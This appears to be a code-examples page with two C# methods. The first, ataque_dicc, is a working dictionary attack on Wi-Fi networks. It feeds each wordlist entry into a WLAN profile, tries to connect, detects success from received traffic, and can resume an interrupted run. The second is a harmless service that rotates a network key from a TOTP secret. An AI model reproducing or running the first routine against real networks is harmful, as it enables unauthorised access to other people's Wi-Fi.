예제 #1
0
        private void ataque_dicc()
        {
            long tcpPackets = get_session_ip();

            long performed = 0;

            MaxProgres = Utils.CountLinesInFile(diccionario);
            double percent = 0;
            string profileXml;
            bool   keyLista  = false;
            string tipo_key  = "";
            string index_key = "";

            System.IO.StreamReader reader = null;
            try{
                if (File.Exists(tmpFileName))
                {
                    if (continueAttack)
                    {
                        using (StreamReader r = new StreamReader(tmpFileName))
                        {
                            String line = null;
                            line = r.ReadLine();
                            String[] vars = line.Split(',');
                            strName     = vars[0];
                            strCipher   = vars[1];
                            diccionario = vars[2];
                            strAuth     = vars[3];
                            delay       = int.Parse(vars[4]);
                            reader      = new StreamReader(diccionario);
                            Key         = string.Empty;
                            while (!vars[5].Equals(Key) && !reader.EndOfStream)
                            {
                                Key = reader.ReadLine();

                                performed++;
                                percent = performed / MaxProgres * 100;
                                ReportProgress((int)percent);
                            }
                            keyLista = true;
                        }
                        File.Delete(tmpFileName);
                    } // cargar variables
                    else
                    {
                        File.Delete(tmpFileName);
                        reader = new StreamReader(diccionario);
                    }
                }
                else
                {
                    strName   = SelectedWlan.ESSID;
                    strCipher = WlanClient.getCipher(SelectedWlan.Cipher);
                    strAuth   = WlanClient.getAuth(SelectedWlan.Auth);
                    reader    = new StreamReader(diccionario);
                }

                while (!connected && !reader.EndOfStream && !CancellationPending)
                {
                    if (!keyLista)
                    {
                        Key = reader.ReadLine();
                    }
                    else
                    {
                        keyLista = false;
                    }
                    if (key_valid(Key, strCipher))
                    {
                        tipo_key = "passPhrase";
                        if (strCipher == "WEP")
                        {
                            tipo_key = "networkKey";
                        }
                        if (strAuth == "open")
                        {
                            index_key = "<keyIndex>0</keyIndex>";
                        }
                        profileXml = string.Format("<?xml version=\"1.0\"?><WLANProfile xmlns=\"http://www.microsoft.com/networking/WLAN/profile/v1\"><name>{0}</name><SSIDConfig><SSID><name>{0}</name></SSID></SSIDConfig><connectionType>ESS</connectionType><MSM><security><authEncryption><authentication>{2}</authentication><encryption>{3}</encryption><useOneX>false</useOneX></authEncryption><sharedKey><keyType>{4}</keyType><protected>false</protected><keyMaterial>{1}</keyMaterial></sharedKey>{5}</security></MSM></WLANProfile>",
                                                   strName, Key, strAuth, strCipher, tipo_key, index_key);
                        INTERFAZ.SetProfile(Wlan.WlanProfileFlags.AllUser, profileXml, true);
                        INTERFAZ.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, strName);
                        performed++;
                        percent = performed / MaxProgres * 100;
                        ReportProgress((int)percent);
                        while (INTERFAZ.InterfaceState == Wlan.WlanInterfaceState.Associating || INTERFAZ.InterfaceState == Wlan.WlanInterfaceState.Authenticating)
                        {
                            Thread.Sleep(50);
                        }

                        Thread.Sleep(delay * 1000);

                        if (Math.Abs(IfaceEthernet.GetIPv4Statistics().BytesReceived - tcpPackets) > 3)
                        {
                            connected = true;
                        }

                        if (!connected)
                        {
                            INTERFAZ.DeleteProfile(strName);
                        }
                        Thread.Sleep(50);


                        if (CancellationPending)
                        {
                            WorkerCancelled = true;
                        }
                    }
                }
            }

            catch (Exception ex) {
                Console.WriteLine(ex);
                Debug.WriteLine(ex);
            }
            finally { if (reader != null)
                      {
                          reader.Close();
                      }
            }
        }
예제 #2
0
        private void Run()
        {
            this.LoadConfig();
            this.currentConfigCancelSource = new CancellationTokenSource();

            ServiceProxy coreService;

            try
            {
                coreService = new ServiceProxy()
                {
                    CanSendCallbacks = false
                };
                ServiceHost host = new ServiceHost(coreService);
                host.Open();
                coreService.SettingsUpdatedEvent += CoreService_SettingsUpdatedEvent;
            }
            catch (Exception ex)
            {
                Trace.TraceError(ex.ToString());
                throw;
            }

            do
            {
                if (this.settings != null)
                {
                    coreService.Settings         = this.settings;
                    coreService.CanSendCallbacks = true;
                    Trace.TraceInformation(this.settings.ToString());
                    this.currentConfigCancelSource = new CancellationTokenSource();
                    WlanClient client = new WlanClient();
                    WlanClient.WlanInterface wlanIface = client.Interfaces.SingleOrDefault(p => p.InterfaceGuid.Equals(this.settings.WlanInterfaceId));
                    if (wlanIface == null)
                    {
                        throw new ArgumentException("The provided wlan interface id does not exist.");
                    }

                    byte[]        otpKey      = Base32.Base32Encoder.Decode(this.settings.SecretKeyBase32);
                    OtpSharp.Totp otpProvider = new OtpSharp.Totp(otpKey, this.settings.StepSeconds, totpSize: this.settings.TotpDigitCount);

                    WLANProfile defaultProfile = WLANProfile.Default(this.settings.ESSID);
                    if (wlanIface.GetProfiles().Any(p => p.profileName.Equals(this.settings.ESSID)))
                    {
                        wlanIface.DeleteProfile(this.settings.ESSID);
                    }

                    XmlSerializer xmlSer      = new XmlSerializer(typeof(WLANProfile));
                    string        textProfile = String.Empty;
                    using (StringWriter writer = new StringWriter())
                    {
                        xmlSer.Serialize(writer, defaultProfile);
                        textProfile = writer.ToString();
                    }

                    DateTime currentDate;
                    DateTime nextChange;
                    nextChange = currentDate = DateTime.UtcNow;

                    SHA1CryptoServiceProvider sha1Provider = new SHA1CryptoServiceProvider();
                    string pskhash = BitConverter.ToString(sha1Provider.ComputeHash(Encoding.ASCII.GetBytes(this.settings.PSHK))).Replace("-", "").ToLower();

                    do
                    {
                        try
                        {
                            double sleepSeconds = 0.1;
                            if (currentDate >= nextChange)
                            {
                                try
                                {
                                    //Generate key
                                    string otp      = otpProvider.ComputeTotp(currentDate);
                                    string totphash = BitConverter.ToString(sha1Provider.ComputeHash(Encoding.ASCII.GetBytes(otp))).Replace("-", "").ToLower();
                                    string newKey   = BitConverter.ToString(sha1Provider.ComputeHash(Encoding.ASCII.GetBytes(totphash + pskhash))).Replace("-", "").ToLower();
                                    Trace.TraceInformation(otp + " - " + newKey);
                                    //if (wlanIface.CurrentConnection.profileName.Equals(networkName, StringComparison.OrdinalIgnoreCase))
                                    {
                                        string newProf = profileRegex.Replace(textProfile, $"<protected>false</protected><keyMaterial>{newKey}</keyMaterial>");
                                        wlanIface.SetProfile(Wlan.WlanProfileFlags.AllUser, newProf, true);
                                        if (this.settings.AutoConnect)
                                        {
                                            //wlanIface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, defaultProfile.Name);
                                            wlanIface.Connect(Wlan.WlanConnectionMode.Profile, Wlan.Dot11BssType.Any, defaultProfile.Name);
                                        }
                                    }

                                    int desync = (int)DateTime.UtcNow.TimeOfDay.TotalSeconds % this.settings.StepSeconds;
                                    nextChange = DateTime.UtcNow.AddSeconds(this.settings.StepSeconds - desync);

                                    Task.Factory.StartNew(() => coreService.UpdateValues(newKey, nextChange));
                                    sleepSeconds = this.settings.StepSeconds - desync - 1;
                                    Trace.TraceInformation("Next change: " + nextChange.ToString("T"));
                                }
                                catch (Exception e)
                                {
                                    Trace.TraceError(e.ToString());
                                }
                            }

                            //Task.Delay(TimeSpan.FromSeconds(sleepSeconds), this.currentConfigCancelSource.Token).Wait();
                            this.currentConfigCancelSource.Token.WaitHandle.WaitOne(TimeSpan.FromSeconds(sleepSeconds));
                            currentDate = DateTime.UtcNow;
                        }
                        catch (AggregateException)
                        { }
                    } while (!this.currentConfigCancelSource.IsCancellationRequested);
                    sha1Provider.Dispose();
                }
                else
                {
                    coreService.CanSendCallbacks = false;
                    Trace.TraceInformation("Waiting for a valid settings");
                    //Task.Delay(TimeSpan.FromSeconds(10), this.currentConfigCancelSource.Token).Wait();
                    this.currentConfigCancelSource.Token.WaitHandle.WaitOne(TimeSpan.FromSeconds(60));
                }
            } while (!this.serviceCancelSource.IsCancellationRequested);
        }